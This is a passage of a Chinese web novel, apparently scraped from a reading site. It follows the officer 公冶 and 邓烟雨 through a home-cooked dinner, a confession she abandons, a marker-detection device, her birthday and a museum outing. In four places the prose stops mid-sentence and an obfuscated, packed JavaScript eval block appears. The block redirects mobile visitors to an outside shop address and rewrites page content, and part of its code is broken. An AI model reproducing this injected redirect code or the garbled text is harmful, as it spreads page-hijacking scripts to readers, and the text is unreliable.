她和诡异的爬行动物没区别,从人家身上四肢并用爬下来,捻着兰花指给人家盖上毛毯,捂住鼻子跌跌撞撞冲向卫生间。 晚上八点半,公冶醒了。 他睁开眼,强烈的光照让他头一歪,闻到衣服上淡淡的发香。 主卧里传出蛋宝的《铃儿响叮当》,他从沙发上坐起来,望了眼窗帘轻掩的天色,复望向厨房那边,邓烟雨正带着防烫手套端出汤锅。 “公冶警官你醒啦,”邓烟雨心情特别好,摘掉手套,解围裙,“我看冰箱里还有食材,做了几道菜,快来吃吧。” 他恍惚地盯着邓烟雨,过了几秒想起什么,慌忙找手机:“现在几点?” “八点半了,”邓烟雨惴惴不安,“你晚上还要出去吗?” “不是……”这一觉睡得太过瘾,肩背都松泛不少,他说,“如果下次我又睡着了,八点前你务必要叫醒我。” 嘴上这么说,心下发毒誓六点过后再也不沾枕了。 他揉了揉臂膀,起身。 “夜间保护不是从十点开始吗?”邓烟雨疑惑道,“还早呀。” “你现在关键期,我要提早两个小时守着,”公冶想了想说,“我有时候睡觉会很沉,闹三个闹钟也醒不过来,今天闹钟还忘记开了……那个,我没做什么出格的事吧?” “出格的……事?” “说梦话,梦游之类的?”鬼晓得自己睡死以后会干嘛,公冶随口编出点所谓“出格的事”,看着她。 “那倒没、没有……”邓烟雨死命咬紧疯狂上扬的嘴角,憋着气,“你要先吃晚饭吗?” “我去洗脸,你先吃。” 邓烟雨瞥他一眼,移开,又瞥他,嘴角始终弯弯的:“好的。” 公冶按着后颈,踩着拖鞋慢悠悠去洗了把脸,一抬头,差点草出声来。 他被镜子里的自己吓一跳—— 头发睡得超级拉风,每一撮朝各个刁钻的角度飞起、打卷,一根呆毛坚韧不拔挺立着,托尼老师见了都要怒砸吃饭的家伙抱拳惊叹一声甘拜下风。 “……”他、他就顶着这么个傻气鸡窝头和邓烟雨说话啊? 公冶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579272|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑浑噩噩凑近了看,快把镜子里埋汰的自己看死过去。 他颜面尽失地撑住洗手台,良久,深深一叹。 晚餐是一锅清淡的番茄白菜炖豆腐汤,和两碗淋了鲜酱油的秋葵蒸蛋,邓烟雨本想让蛋宝点份炸鸡外卖,转念一想他不会吃,只好忍住这口馋了。 “你好会做饭啊。”番茄汤炖得鲜美入味,蒸蛋滑嫩即碎,碧绿的秋葵星星缀在莹黄的蛋面上,好看极了。公冶惊喜地夸道。 “我爸爸厨艺贼好,我寒暑假没事干,帮他洗菜时也学了几招,”邓烟雨见他吃得满足,谦虚地说,“但也只会做点家常菜,高级的就不行啦。” “已经很厉害了,真的,有些五星级饭店都没你做的好吃。” 公冶悲壮地回想自己第一次下厨全副武装,防护面罩都戴上了,0.5倍速跟着视频教学一步一步来,如此还把新买的锅子烧穿了个洞。 他至今想不明白哪一环节出错了。 邓烟雨被夸得两颊晕红,她今天已经脸红无数次:“会不会太夸张了……” “不会,”他坚定地说,“你做的最好吃了。” 邓烟雨:“……”救命。 他说最好吃!他爱吃我做的菜!我以后可以用锅铲勾引他了!啊啊啊啊——她心里的小鹿亢奋得原地转圈圈。 “你喜欢吃,我会再给你做的。”邓烟雨回答得轻声细语,原以为他不会听到,对面却传来含笑的一声:“真的啊?那说好了,如果你想下厨了,蒸蛋一定要做,怎么样?” 这么喜欢蒸蛋呀。邓烟雨意外发现了他的可爱之处,特别想上手揉一揉他乱得有趣的脑袋:“好啊,我答应了。” “还有,到时候也教教我怎么做菜,我笨手笨脚的,做个饭像在驯服野生动物。” 邓烟雨扬眸笑视他:“那我算收了个徒儿了?” 公冶挑眉:“可以这么认为,师父。” 邓烟雨扒着碗里香喷喷的米粒,欢喜的笑意掩饰不住。 吃完晚饭,公冶和她一起洗了碗,随后去阳台接了通电话,貌似是单位打来的。 阳台门敞开着,他的声音被风吹散,断断续续飘进来。 没刻意躲着聊,不像什么大事,邓烟雨便捧了一杯热饮走过去。风硬冽地往脖子里灌,邓烟雨缩在栏杆前,捂紧羽绒服。 “我记得,听说是最近研发的,靠谱么?”公冶移去目光,见她的刘海被风掀了起来,露出饱满的小额头,便伸手把她毛绒绒的帽子扣下来,“戴着,不然脑袋该吹痛了……不是和你说,你继续。” 寒气阻隔在帽子外,邓烟雨幸福地喝着热饮,斜对面一幢高楼,有一户未拉窗帘的人家,客厅角落摆放着圣诞树,树底堆满了礼物,两个小孩坐在地板上举着玩具互扑嬉闹。 邓烟雨对圣诞节的热情不大,不过也不想一整晚对着那间一尘不染的黑白客厅发抖,话说公安系统的福利待遇挺香,不给他们发点节日礼品吗? “脚怎么样了?”他已经挂了电话,在问她。 “涂了药膏不痛了。” “好,”手机在公冶手里一转,他背过身,手肘抵着栏杆,说,“熊队给你申请了一个好玩的东西,过几天我拿来。” “嗯?什么东西呀?” “秘密,”公冶意味深长地望过来,“拿到再说吧。” “你吊我胃口,”圆滚滚的邓烟雨趴着栏杆,赌气地说,“下次蒸蛋不给你撒秋葵了。” 闻言,公冶轻声一笑,在缱绻拂发的风声中乖顺地说:“我错了,师父。” 20. 喜欢 呼——耳畔的风声变大了,可她感受不到刺寒。 秋葵蒸蛋这招杀手锏立竿见影,他为了口好吃的,乖得就差示软了。 平日里不苟言笑的男人,在她面前卸去伪装,睡糟头发,像个小迷弟把她不足为道的厨艺夸上天,她稍微生个气,他就对她百依百顺——这是别人也能享受的待遇吗? 只有我吧? 一个带着豪赌成分的想法临近嘴边,邓烟雨心跳加速注视他。 他眼底的笑意再淡不过,风一吹就若有若无地抚平了,可落在她这,就是一粒烫得发光的星火不慎掉了进来,疯狂燎开她心间阒寂的大荒野。 “公冶警官,我,”邓烟雨不再隐瞒自己的情意,陶瓷杯上的小青蛙摆着一副津津有味的笑脸,她微红的手指紧贴着温暖凹凸的杯壁,“我——” 公冶不明所以,略微歪头算是回应她的上文:“?” “我——” “我喜——!” “……” 不行,等一等,我要说吗? 公冶警官他好像……在男女感情这方面表现得特别……迟钝。 邓烟雨这颗上任不久的恋爱脑顿时清醒过来,鼓起勇气表白的冲动也在一片冷静的考量中转瞬即逝。 她端详公冶渡莲—— 正耐心等待着她的下文,一脸“她到底要说什么”的不解表情。 这个男人,睡着的时候像只优雅骄矜的猫咪,怎么醒来了就跟大笨狗一样没救? 这条爱河,她先滑了进去,而人家连河的影子都还没寻着呢。 邓烟雨内心极度不平衡。 “怎么了,”纯真的大笨狗满眼透露着清澈的愚蠢,发出纯真的疑问,“怎么不说下去了?” “额,我……”邓烟雨把脸埋进羽绒帽里,睫毛失落地轻扑。 “你喜什么?” 邓烟雨一惊。 他听到那个“喜”字了?他听到了!可他也确确实实没往“喜欢”这个词上想!一!想!天呐,好无语,好迟钝!好不开窍!救命!他真的是警察吗?直觉能不能再敏锐一点啊! 邓烟雨被他跨越一个宇宙的反射弧搞得无话可说,若非当着他面,不然早就不顾形象“啊啊啊”抓狂跺脚了。 她郁闷地去抠小青蛙的眼珠子,半晌抬起气粉了的脸,用恨铁不成钢的眼神羞羞咬他一口。 指望他干什么,豁出去了!邓烟雨闭住眼大声说: “我xi——a——ng——想等脚伤好了以后去一趟公安博物馆!” 公冶:“……” 公冶:“……诶?” 去博物馆? 歌华公安博物馆,国家二级博物馆,一个世纪的警察史料详尽沉淀于此,文物藏品陈列众多,三楼的刑侦馆比较火,公布着大量手段残忍的作案细节以及犯罪工具,以致不少人是怀着猎奇心理走进去的。 “为什么突然想要去那?”天气预报说今夜会有冷空气来袭,公冶带邓烟雨回到屋里。 “我听说刑侦馆旁边新建了一个美食家博物馆,我还挺感兴趣的,所以想找机会去看看,”邓烟雨坐进沙发,手脚麻利地盘腿上炕,把他盖过的毯子抱来裹住自己,倒着脑袋征求意见,“可以嘛?” 公冶倒了杯水,说:“可以。” 美食家博物馆,俗称美馆,去年公开招标修建的,正式名称为绿眼人种博物馆,里面不止记录着美食家的诞生衍变历程,还介绍了美食家众多信息,大到他们生存于世的意义,小到他们如果去拔牙可不可以拔獠牙?拔了獠牙还能再长出来吗?以及喜欢什么颜色,为什么喜欢天牛……奇奇怪怪的知识点。 除此之外,厅内还展陈着公安GS机构设立以来的沿革史与辛苦挣下的半壁江山之多的功劳,值得一看。 据说这馆本来打算专门开出一块地,弄成未来科技元素整那收门票,后来不知是钱没谈拢还是怎的,浓缩了一下,挨着刑侦馆挖出一间来。 “公博每周一闭馆,周二到周末正常开放,下午四点就不能进了,美馆提早半小时关,”公冶坐下说,“人不多,而且在白天,我到时候陪着就没问题。” “好!”邓烟雨开心得冒花花,“你去过吗?” “去过一次,单位组织的,”公冶背靠沙发,“里面还挺招小孩喜欢,同事说有点赛博朋克的风格,我倒没看出来,不过科技元素是一大亮点。” 邓烟雨满眼期待。 “也有些比较沉重的内容,如果只是去逛逛了解一下,可以跳过不看,总之不要影响自己的心情。” 邓烟雨点头:“好的。” 公冶看见茶几上的东西,说:“遥控器找到了啊。” “在沙发底下找到的,”邓烟雨得意地翘鼻子,“藏得够深噢,我下午让小瓦特扫地,把它扫出来的。” 小瓦特是扫地机器人,喂饱了电一下午满房子乱蹿吃邓烟雨掉的头发。女孩子就爱掉头发,走到哪里掉到哪里,但不管怎么掉仍然有很多。公冶起初对此不理解,哪可能掉那么凶?直到邓烟雨来他家住了一天,他今天中午无意间看见一地被阳光照亮的细卷毛毛。 “厉害。” 邓烟雨:“我吗?” “你和瓦特都厉害。”一个掉得厉害一个吃得厉害,相辅相成。 公冶开电视看起来:“不去睡么,快十点了。” “才十点诶。” “熬夜对身体不好。”公冶成天被蛋宝苦口婆心地劝,他听进去了。 “我下午睡够了,还不困。” 他随便找了部黑白色彩的老电影,邓烟雨陪他看了会儿:“公冶警官,你要不要再眯一会儿?反正现在也没什么事。” “不行的,我就算困死用牙签撑着眼皮也不能睡,”公冶被电影吸引了,他发现这是《罗马假日》,“你去休息吧,我就在外面,有事喊我。” 邓烟雨前面吹了风,此刻手脚冷,想洗热水澡,便跳下沙发去了,公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579273|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冶记起一事,喊道:“窗户——” “啊——?” “窗,锁上!” “好——” 邓烟雨小跑过去,锁住早上通风忘关的窗户,与茫茫夜色里的自己对视。 为什么有种老夫老妻的感觉。 宽敞的卫生间里,那口白得晃眼的大浴缸再次映入眼帘,她昨天就对浴缸抱有想法了。 放满热水,扔个爆炸浴盐球,丢两只唧唧叫的小黄鸭——人生就此圆满。 然而她还是简单冲了一下就躺上床了,辗转反侧半个小时,睡不着,总觉得身边缺点什么。 置身他怀中的那股燥热感重新回到肌肤上,邓烟雨有点口渴。 好想吃干挑面,和他说一下明天买…… 不行,他那么累了,不能再麻烦他,哦对手环要赶快买起来…… 邓烟雨躲在被窝里刷手机。公冶电影没看完,去书房挑书了,出来见房门底下漏着光,过去敲了敲门:“睡了么?” “没呢,进来吧~”邓烟雨女主人一般欢迎,蛋宝也装模作样地一哼:【进来吧亲~】 公冶开门,白了蛋宝一眼,习惯驱使,手肘懒懒撑着门框,叉腰问:“明天要吃什么?” “我正在想,”从公冶这个角度看不到邓烟雨的人,只有一团小山丘鼓起的被窝在一振一振说话,怪可爱的,“我要吃干挑面。” 公冶方要答应,邓烟雨呼地露出小脑瓜:“不不,我明天自己……” 妈呀! 呜他这个姿势,窄腰大长腿,好性感!! 她清咳一声,定下心来,说:“让蛋宝买,我还没试过它这功能。” 蛋宝:【我啊??】 我啊你个头。公冶无视蛋宝,说:“也行,那你就自己点。” “你吃啥,我也帮你叫。”邓烟雨眨着眼睛,热心地问。 “不了,我早上会在书房睡,不用叫我那份。” “好叭……” “睡觉吧,晚安。”公冶关了灯,给她轻轻合上门。 房间完全暗下来,鸦雀无声,邓烟雨合眸,竖起耳朵聆听,怎么也听不到外面的电视声,他大概把音量调得很小。 睡什么觉,还不如陪他一起看电视。 最近新上映了好多劲爆的电影,也想和他去看。 学校那边快放寒假了,我考试怎么办? 想吃泡芙…… 邓烟雨脑袋里天马行空,思绪混杂,很快睡了过去。 12月30日这天,公冶去了趟单位,把那个“好玩的东西”捎回来了。 “美食家标记检测仪……迷你版?”邓烟雨从字面意思理解,“它可以检测我体内是否有标记病毒残留?” “对,通过标记值体现,和抗原检测一个概念吧。” 公冶对着写满各国语言的说明书蹙紧眉头,拆开包装严谨的小盒子,倒出那个几何方块:“它研发成功不到一个月,还是个小宝宝。” 21. 生日快乐 小宝宝检测仪像一块雷迪恩切割形状的黑钻,体积半个手掌心不到,在灯光照耀下,多方位琢出很高的净度。 公冶根据操作指南,长按它侧面的隐形按钮,随着“哔哩”一声清音,黑屏里旋转出3D效果的绿色粒子,一点点汇聚成一个月托帆船标志,这是发明该产品的高新技术企业的logo。 【您好,欢迎使用绿眼人种标记检测仪,使用前请先登陆】 丝滑如缎的女音传出来,公冶眼神飞快,十行俱下把使用步骤翻完,感觉自己又行了:“扫这个码,和你手机绑定,进行实名认证,它可以实时监测你的身体状况。” 邓烟雨依言照做,成功实名后,检测仪又响了一声,在公冶手中说: 【终端连接中 数据初始化 加载完成-指令同步 已成功登陆 接收检测体:邓烟雨 性别:女 年龄:21周岁 是否有记录:无 检测时间:全天(不含离线) 可以开始反应标记值,检测方式:接触额头三秒。祝您健康平安】 “来,”公冶把这小玩意拿起来,感温头是一枚晶体,嵌在背部,“它测额头的,跟温度计一样。” 邓烟雨笑了,正要倾身过去,公冶先上手,撩开她的空气刘海。 被他的大手擦过肌肤,邓烟雨有点紧张,随即一块像脱毛仪激光冰晶的凉凉物体抵在了脑门上,三秒过后,只听它平静地说:【数值已生成】 然后就什么动静也没有了。 “……” “嗯?” 公冶露出困惑的表情,邓烟雨也一脸茫然地怼到屏幕跟前看,两个人加起来都凑不出一颗脑子。 触摸屏上显示着一个鲜红的数字:155.6。 红得刺眼,一看就不是好兆头,但就算有问题,好歹说一声超高吧,单单一个数字蹩脚地亮在那里代表什么意思?干嘛不直接报告结果? 邓烟雨托着腮,往他那里靠近了一点,碰到了他的头发。 他们之间连最基本的距离都没有了,邓烟雨的嘴唇和他的脸仅差毫米,就要亲上。 彼此的呼吸交织着,她一动不动,竟期待公冶此刻稍微偏一下头。 “这要改良啊,还得翻说明书对着看。”前面开机时一通废话,真正需要它讲解了反而连个屁也不放了。公冶转向另一边拿说明书。 邓烟雨饶有兴趣看着他。好奇怪,她就是喜欢他捉摸不透的样子。 没过多久,公冶的脸色肉眼可见沉了下去,邓烟雨意识到数值不理想:“很不乐观吗?” “上面说正常区间在60至70.5,是绿色区域,”公冶皱眉分析着一堆晦涩生僻的专业术语,翻译成白话,“70.6至120是橘色区域,属于观察阶段,其中数值超出110必须居家观留,再往上……等于无期徒刑。” 邓烟雨仿佛看到一座铁牢笼“哐”一声砸下来,锁住了她的自由。 “你再降36个点就进入橘色区域了,”公冶不知该如何安慰,就说,“也算好事?” 算哪门子好事啊。 邓烟雨沮丧着脸:“那我不能出门了?” “不知道,”公冶回答干脆,从另一只盒子里拿出表带,“把检测仪塞进去就可以戴了,贴着人体它才能实时监测。” 邓烟雨戴上以后,发现检测仪的顶端一直爆亮红点,严重警告她的标记值烧得如火如荼,已在红色区域安营扎寨。 “等它绿了,”公冶说,“你就自由了。” 邓烟雨:“……”QAQ猴年马月才能绿啊。 “现在是晚上,所以数值偏高,明早再测一次。” 于是次日白天的数值,让邓烟雨惊喜得举着手表跑到公冶面前,高兴得像只蹦蹦跳跳的小松鼠:“公冶警官,98!98!好低啊好低!” 公冶刚睡醒,咬着榛子脆pocky,像接过温度计一样懒懒地眯眼:“差距这么大啊,那就是白天可以出门了。吃么?” “对啊!吃,”邓烟雨开心地拿了一根,嚼断说,“那我白天就不用坐牢了嘿嘿……你在干嘛呀?” 公冶围着茶几转,满地找平板的充电线:“我开个会。” “我要回避吗?” 公冶笑了:“不用,小会而已,你随意。” 邓烟雨便随意地挨着他坐,拉开袜子,观察自己的脚踝。还没好全,不过坚持涂药膏,颜色很淡了,也不影响走路。 “我觉得我的脚没问题啦,我们明天去博物馆好不好?” 这两天邓烟雨在下狠劲,软磨硬泡缠着他出去,公冶的心快被她求化了,只好退一步,问:“明天星期几?” “星期天。” “人可能会比较多。” “……” 听她没说话,公冶只好将视线放到她身上。女孩果然气嘟嘟的,一双倔强大眼装满了他,宛如碎开的玻璃糖。 他可受不了她这样威逼利诱,一股奇怪的痒意钻进了血管。 “去,”公冶没辙了,“带你去,你就算赖在床上不肯起来我也连人带床给你扛去博物馆。” 邓烟雨立刻多云转晴,开心地笑了,搂着他胳膊撒娇。男人很容易在女生的一声声赞美下迷失自我,好在公冶神经大条,没达到这层高度,他还在捣鼓他的视频会议。 “大白天的,让你来单位坐一下还要抬顶轿子请你是吧——”熊小滚把平板搁桌上,极乐和蝶衣好心买了一束花,衬在旁边,活像摆了张遗照,“今天年末会议啊大哥,你一组组长,缺席合适吗?” “不是紧急会议不要找我,”组长无心工作,把裹满碎榛子的pocky递给邓烟雨,“忙得很。” “哦,忙得很,忙着一天到晚吃甜食,爽死了吧!” “对啊,”公冶漫不经心地调亮屏幕,说,“别骂了,我就这出息。” 熊小滚:“……” 邓烟雨边吃东西边翻漫画,故事进展到激动人心的告白阶段,可耳边净是他们在你怼我我怼你,她歪过头瞅了瞅,正好和屏幕对面的公美们对上眼,场面发生了几秒死寂,紧接着—— “哇——!” “哪来的洋娃娃!” “好可爱谁家姑娘?!快让姨姨亲亲mua!” “影青你个混账,居然每天背着我们耽溺美色!我要上督察总队举报你!” “孩子喜欢什么颜色的麻袋?” 场面一度失控,邓烟雨手足无措,用漫画捂住半张脸,像只害羞的小黄莺匆匆逃开,屏幕里的尖叫更甚,公冶黑着脸说:“你们再这样我报警了。” 女同事们异口同声:“报报报,报!我们来出警!我出警我可以!” 公冶:“……” 他决定不外放声音了,找出耳机插上。 会议开到一半,邓烟雨的手机在腿边嗡嗡作响,她一看,是妈妈打来的视频电话,她挪到边上接通:“妈妈……” “宝贝啊,”金曦占在镜头前,留了个右上角给看报的邓忠云,“你最近怎么样呐,我一回来就忙得昏天黑地,根本没时间给你打电话。” 邓烟雨每天会在家庭群里给父母报平安,收到女儿安好的消息,他们才能放心忙于工作。 “我很好。” 她尽量不提自己搬出公寓的事,但金曦一双慧眼不是盖的,很快察觉她坐在公寓不会有的大沙发里,而且墙壁也换了:“你人在哪呢?” 瞒不住了。邓烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579274|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨玩着衣服拉链,忸怩地说:“我在公冶警官家里……” 公冶戴着耳机开会,没听见。 金曦:“谁、谁?” 邓忠云也闻声望过来。 “就是……影青警官的家里。” 金曦:“……” 邓忠云:“……” 什什什么?! 短短一周发生了啥,怎么自家的白菜就被猪拱了?! 邓忠云表面镇定,内心已经狂风骤雨掀翻了八百艘船,金曦恨不得顺网线爬过来一探究竟:“你为什么住在他家?” 邓烟雨把来龙去脉简单叙述一遍,邓忠云捏着报纸怔怔不语,金曦气得快去掐他脖子:“我就说航班改签吧,我们女儿差点出事!” 怕妈妈真去掐,邓烟雨象征性地劝了劝,金曦压着火,秀眉一竖:“所以你现在住在这个叫……宫野君的人家里?” 什么宫野君!服了!邓烟雨深知妈妈是个深藏不露的二次元迷,超喜欢一个姓宫野的声优,肯定把他名字想错了,耐心解释道:“公正的公,冶炼的冶,是复姓,不是MAMO的那个‘宫野’啦。” “哎呀,”金曦登时笑得像个十八岁,“讨厌啦宝贝,你咋啥都能看出来。” “拜托你是我妈诶,话说你们给我打电话来有啥事?” 他们纷纷诧异地看着邓烟雨:“宝贝,今天31号,是你生日啊,你自个儿都忘啦?” “……啊今天是我生日!!”邓烟雨大叫出来,这一声完美地扎进了公冶的耳朵里,他摘下耳机,也是一副微讶的神情。 同事们就逮着他开小差,马上敲黑板地吼:“影青同志,你在看哪里——” 金刀:“影青同志,我给督察打电话了啊——” “我知道了我在听!”公冶将注意力重新放回会议上,面庞竟飞过一抹极淡的红。 之后两边总算无硝烟地结束了“会议”,公冶主动问她:“要吃蛋糕吗,这会蛋糕店还开着。” “可你不能吃吧?”邓烟雨说。 当初极乐掉以轻心炫了一整个蛋糕,就此不省人事,发烧发到祖上三辈列队欢迎来接她,公冶至此引以为戒,郑重地点了点头:“奶油不敢多碰。” “那就不买了,我一个人吃也没意思。” 公冶心思写在脸上:“我给你买个礼物吧。” “不用买,你明天就送我,”邓烟雨笑吟吟说,“明天下午看完博物馆,我们一起去逛超市吧。” 公冶不敢相信:“就这么简单?” 邓烟雨啄啄头:“就这么简单。” 女孩子原来这么好哄啊。 公冶刷新了三观,今晚也纵着小寿星,没催她睡觉。跨年晚会进入尾声,他发现邓烟雨枕着他的肩膀,睡得口水快流出来了。 他关掉电视,起身时留了个神,扶住她,然后手捞到她腿窝处,抱起。 好轻,没什么实感。他用脚顶开卧房的门,把人放到床上,盖上被子,凝视着她放任的睡颜,喉结微动,说了声:“生日快乐。” “渡莲,渡莲!” “我家莲宝,生日快乐!” 女人满脸伤痕地笑着,祝福着他,拥抱着他。 “生日快乐,你要……永远幸福……” “公冶警官。” 公冶猝然回神,指尖一颤,往后退了半步。 小小的声音还在传出来,一瞬间以为她醒着,再看一眼,原来只是说梦话。 “公冶……警官……你也……” “你也是我的……MAMO……” “最……爱的……MAMO……” 他走出卧房,关上门,站在未开灯的走廊上。 所以, MAMO是什么? 22. 约会 次日是个大晴天。 夜间保护时间截至清晨六点,公冶注射了镇血剂,淋浴后去书房补觉,一直睡到中午,迷迷糊糊听见有个女孩在耳边小声叫他。 “公冶警官起床啦,十二点啦,我们要出发啦……” 微凉的手指头戳着他脸颊,他慢慢挣扎着醒来,一睁开,满眼的青色如一汪碎水波动,晃开夏色。 美食家睡醒时,眼睛会被动变异,很好看,明亮得像洗净的宝石,起床气严重的美食家睁眼尤其亮,能在夜里当灯泡,有网友打趣说跟恢复出厂设置一样。 他绿悠悠的眼眸没有半点认知的意味,找了找,找到了邓烟雨,她像朵盛放的太阳花,正笑眯眯蹲在自己身边。 “昨天说好十二点准时叫你,我来赴约了,你起不起?” 公冶死机中,没反应。 “你再赖床,我就把你连同被子打包扛去博物馆,”邓烟雨娇挺的小鼻子一耸,笑得古灵精怪,“我还烧了面,求你快起来吃吧,少爷。” ……! 这个称呼太炸裂,公冶顿觉有电流从四肢窜过,艰难地说:“我起。” 他掀开毯子,洗过澡残落的香气轻漫出来,差点让某人把持不住,抱住一顿猛吸。 养猫也不过如此。 一碗青菜面暖在锅中,半卧的荷包蛋吸足了汤汁。公冶站在客厅阳光角,漫无目的望着地上的树,天上的鸟,默默吃着。 两三口的东西始终不见底,公冶故意放慢了速度,因为他发现邓烟雨还在化妆。 估计是眼线勾到一半,叫醒服务的点到了,也不管自己的妆容对不对称就跑来书房撩人。任务执行完毕,这会又回去捯饬自己的小花猫脸。 女生化妆要多久——他对这块没经验,总之等就是了。十分钟后邓烟雨背着精致的小挎包出来了,除了嘴巴上那点嫩红,他真看不出哪里有变化。 好像五官更深邃了。 总之她的甜美程度已经不是洋娃娃能够媲美的了。 邓烟雨趁公冶洗碗的工夫,在全身镜前再次确认自己今日形象是否得体,哼着歌儿戴上与毛衣同色的贝雷帽,等公冶过来,她欢欣鼓舞地推开门—— 美好的世界我来啦! 她满脸洋溢着幸福,一整个“刑满释放啦”的灿烂笑容收都收不住。 公冶套了件黑色大衣跟在后头,拿上车钥匙,关了门。 他们乘电梯来到负二层,邓烟雨大脑自配GPS,不用公冶带,自觉来到当初停警车的位子。 车位上是一辆没见过的双门轿跑,漆黑的车衣尤其亮丽。轿跑旁边还停着不知谁家可拿去拍卖的古董车,立标也高级得没见过。 邓烟雨环顾周遭,目光所及之处,每一台艺术品皆在彰显自己的美色,慢条斯理掳获穷人的视野。 她小声一啧。 没酸,真的一点也没酸。 “上车吧,”公冶见邓烟雨的眼睛发直了,说,“不会给你坐警车的,想都不要想哦。” “谁、谁要坐警车啦!”邓烟雨磕巴了一下,坐进副驾驶,轻手轻脚系上安全带。 后排两个位子挤挤的…… 它是美丽废物。 汽车发动,性感的引擎声浪低低泛来。今天阳光刺眼,公冶从储物盒里取出一副价格不菲的墨镜,单手利落甩开,扣上鼻梁。 哦!这个男人! 墨镜一戴谁也不爱! 邓烟雨突然好想笑,坐那一个劲抖,公冶惊讶:“我还没开你就想吐了?” “不不,不是,哈哈哈,”邓烟雨仰望着她的多金大佬,“我有点激动,好久没出门了,看啥都新鲜。” 公冶撑着车窗:“看出来了。” 女孩子好像是会无缘无故就哈哈哈笑个不停,斗香上次也这样。 “你咋还不开?” “我在想怎么开。” “导航呀。” “我记得那条路,”公冶死活不开导航,“马上就想起来。” 邓烟雨摇摇头:“你是犟种啊。” 犟种想起路了,也不否认:“出发了。” 转进弯道往上爬,今天出门玩的人还挺多,浅浅堵了一下,他们在坡上刹了会儿,待尾灯亮起,轿跑甩出一弧幽魅光影,冲向地面,朝市中心驶去。 歌华公安博物馆在紫露区光华西路520号,开车只需十五分钟。 但进入博物馆东门的停车场后,公冶才意识到,十五分钟不够。 远远不够。 如今找个车位,比找女朋友还难。 前头堵着一辆白色polo,可爱的车臀贴满“请保持距离美”、“有本事从我头上过”,正好有车腾出来,polo如枯木逢春,刹在空车位前端一点,准备倒进去。公冶手肘搭窗,食指放在唇下摩挲,就静静欣赏着它转啊,挪啊,挂挡往前重来,转啊,挪啊,挂挡往前重来,转啊,挪啊…… ……真就把他的耐心磨光了。 他原想一脚油门挤开小白车,抢走这个车位算了,往前才看见驾驶员是个忐忑的女生,副驾驶的同伴女生摇下车窗探出头帮忙叫着“倒倒倒”,好吧,这怎么忍心,人家也不容易。 他让了,打方向盘避过去,继续找。 “我以为你要抢她们的车位。” “你怂恿一下我,”公冶目光搜寻着,说,“我就抢了。” 是吗?他原来敢的? 下次试试。邓烟雨记在心里了。 车流进进出出,八百年过去了,他们总算停到了位子。 公冶一言难尽,邓烟雨倒没有被这点蚊子大的事影响,兴冲冲的劲头像来旅游似的。 他们刷了身份证入场,来到楼层分部索引图前,公冶手插口袋,说:“一到五楼都可以参观。” 博物馆十几个厅,光靠一个下午可看不完。他们先去了英雄烈士馆,庄重肃穆的气氛让邓烟雨放轻了呼吸。白灯照着透明展示柜中一件件遗物,满墙公安烈士以红幕衬托,邓烟雨沉默地浏览了一遍,接着两人一前一后登上台阶,去了三楼刑侦馆。 刑侦馆气氛好一点,也就好一点,该馆之所以受欢迎,是因为这里的恐怖成分皆来自于现实,进来前就竖着牌子提醒“酌情参观”。邓烟雨亲眼见识到重特大刑事案件的晦暗面——碎尸、剁肢、扼死、锈迹斑斑的凶器、不可能打码的剖开的颅骨……它们在光线下白得发干,可进入脑海里又再次血淋淋起来。 被害者女性居多。 “让你跟我去消防馆看小红车,你不听,偏要来看这个。”公冶直性子不会安慰人,见她不适,递了一瓶水。 他料事如神,下车时特意拿了矿泉水。邓烟雨和他来到走廊上,小口喝,依然很难受。 她希望他能温柔点,可怜兮兮地说:“公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579275|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冶警官我不舒服……” “那我们去看小红车吧。” “……” 他对小红车的执念到底有多深! 邓烟雨看了眼时间,还早,美馆就先放一放。 “有很多有意思的消防车模型,可以拍照,”公冶低头问,“你要拍么?” “拍,”邓烟雨抬头问,“你拍照技术好吗?” “不好。” “……那也拍。” 邓烟雨承认公冶拍照技术不算差,但也翻不出什么花,她教他从哪个角度仰上来显腿长,蹲着的他竟然顶嘴“上限就在那了你也不要太较劲了”。 